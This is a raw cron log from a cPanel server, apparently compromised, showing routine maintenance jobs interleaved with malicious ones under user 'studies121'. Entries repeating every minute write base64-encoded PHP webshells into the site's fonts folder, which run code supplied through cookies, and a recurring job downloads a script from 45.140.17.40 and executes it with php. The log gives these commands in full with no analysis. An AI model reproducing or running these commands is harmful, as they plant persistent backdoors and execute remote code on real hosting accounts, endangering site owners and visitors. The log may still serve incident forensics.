Sep  6 08:00:01 ip-184-168-122-23 CROND[6061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:00:01 ip-184-168-122-23 CROND[6064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:01:01 ip-184-168-122-23 CROND[6169]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 08:01:01 ip-184-168-122-23 CROND[6170]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 08:01:01 ip-184-168-122-23 CROND[6172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:01:01 ip-184-168-122-23 CROND[6173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:01:01 ip-184-168-122-23 CROND[6176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:01:01 ip-184-168-122-23 CROND[6174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6170]: starting 0anacron
Sep  6 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6189]: finished 0anacron
Sep  6 08:02:01 ip-184-168-122-23 CROND[6271]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:02:01 ip-184-168-122-23 CROND[6273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:02:01 ip-184-168-122-23 CROND[6275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:02:01 ip-184-168-122-23 CROND[6274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:02:01 ip-184-168-122-23 CROND[6276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:03:01 ip-184-168-122-23 CROND[6365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:03:01 ip-184-168-122-23 CROND[6367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:03:01 ip-184-168-122-23 CROND[6368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:03:01 ip-184-168-122-23 CROND[6370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:04:01 ip-184-168-122-23 CROND[6560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:04:01 ip-184-168-122-23 CROND[6561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:04:01 ip-184-168-122-23 CROND[6563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:04:01 ip-184-168-122-23 CROND[6566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:04:01 ip-184-168-122-23 CROND[6565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:05:01 ip-184-168-122-23 CROND[6672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:05:01 ip-184-168-122-23 CROND[6676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:05:01 ip-184-168-122-23 CROND[6674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:05:01 ip-184-168-122-23 CROND[6675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:05:01 ip-184-168-122-23 CROND[6679]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 08:05:01 ip-184-168-122-23 CROND[6677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:05:01 ip-184-168-122-23 CROND[6678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:06:01 ip-184-168-122-23 CROND[6813]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:06:01 ip-184-168-122-23 CROND[6815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:06:01 ip-184-168-122-23 CROND[6817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:06:01 ip-184-168-122-23 CROND[6814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:06:01 ip-184-168-122-23 CROND[6816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:07:01 ip-184-168-122-23 CROND[6903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:07:01 ip-184-168-122-23 CROND[6904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:07:01 ip-184-168-122-23 CROND[6905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:07:01 ip-184-168-122-23 CROND[6906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:08:01 ip-184-168-122-23 CROND[7004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:08:01 ip-184-168-122-23 CROND[7006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:08:01 ip-184-168-122-23 CROND[7007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:08:01 ip-184-168-122-23 CROND[7009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:08:01 ip-184-168-122-23 CROND[7010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:09:01 ip-184-168-122-23 CROND[7191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:09:01 ip-184-168-122-23 CROND[7193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:09:01 ip-184-168-122-23 CROND[7195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:09:01 ip-184-168-122-23 CROND[7196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:09:01 ip-184-168-122-23 CROND[7194]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 08:10:01 ip-184-168-122-23 CROND[7291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:10:02 ip-184-168-122-23 CROND[7293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:10:02 ip-184-168-122-23 CROND[7296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:10:02 ip-184-168-122-23 CROND[7298]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:10:02 ip-184-168-122-23 CROND[7300]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:10:02 ip-184-168-122-23 CROND[7297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:10:02 ip-184-168-122-23 CROND[7299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:10:02 ip-184-168-122-23 CROND[7301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:11:01 ip-184-168-122-23 CROND[7439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:11:01 ip-184-168-122-23 CROND[7440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:11:01 ip-184-168-122-23 CROND[7443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:11:01 ip-184-168-122-23 CROND[7445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:12:01 ip-184-168-122-23 CROND[7534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:12:01 ip-184-168-122-23 CROND[7537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:12:01 ip-184-168-122-23 CROND[7536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:12:01 ip-184-168-122-23 CROND[7539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:12:01 ip-184-168-122-23 CROND[7538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
